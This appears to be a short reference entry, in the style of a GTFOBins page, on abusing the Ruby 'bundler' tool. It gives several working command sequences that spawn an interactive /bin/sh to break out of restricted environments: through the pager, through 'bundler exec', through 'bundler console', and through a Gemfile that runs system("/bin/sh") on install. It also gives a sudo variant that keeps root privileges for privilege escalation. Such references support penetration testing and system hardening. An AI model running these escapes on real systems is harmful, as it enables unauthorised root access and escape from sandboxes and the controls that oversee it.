Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This invokes the default pager, which is likely to be less, other functions may apply.

bundler help
!/bin/sh

export BUNDLE_GEMFILE=x
bundler exec /bin/sh

TF=$(mktemp -d)
touch $TF/Gemfile
cd $TF
bundler exec /bin/sh

4. This spawns an interactive shell via irb.

TF=$(mktemp -d)
touch $TF/Gemfile
cd $TF
bundler console
system('/bin/sh -c /bin/sh')

TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/Gemfile
cd $TF
bundler install

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

This invokes the default pager, which is likely to be less, other functions may apply.

sudo bundler help
!/bin/sh